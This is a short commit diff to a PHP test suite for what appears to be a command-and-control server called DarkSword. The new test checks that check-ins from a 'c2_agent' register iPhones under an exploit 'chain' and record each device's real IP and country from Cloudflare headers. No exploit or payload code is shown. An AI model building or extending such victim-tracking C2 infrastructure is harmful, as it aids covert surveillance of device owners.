fix: ip
This commit is contained in:
@@ -223,10 +223,32 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame('iPhone15,2', $device->device_model);
|
||||
$this->assertSame('18.6', $device->ios_version);
|
||||
$this->assertSame('192.168.31.77', $device->ip);
|
||||
$this->assertSame('127.0.0.1', $device->ip);
|
||||
$this->assertNull($device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function plaintext_a_uses_cf_connecting_ip_not_body_ip(): void
|
||||
{
|
||||
$this->call('POST', '/a', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_CF_CONNECTING_IP' => '203.0.113.88',
|
||||
'HTTP_X_FORWARDED_FOR' => '1.2.3.4',
|
||||
'HTTP_CF_IPCOUNTRY' => 'JP',
|
||||
], json_encode([
|
||||
'lhu' => self::DS_LHU,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
'ip' => '192.168.31.77',
|
||||
'source' => 'c2_agent',
|
||||
], JSON_THROW_ON_ERROR))->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('203.0.113.88', $device->ip);
|
||||
$this->assertSame('JP', $device->country);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function shared_path_with_x_ts_still_uses_xxbb_ack(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user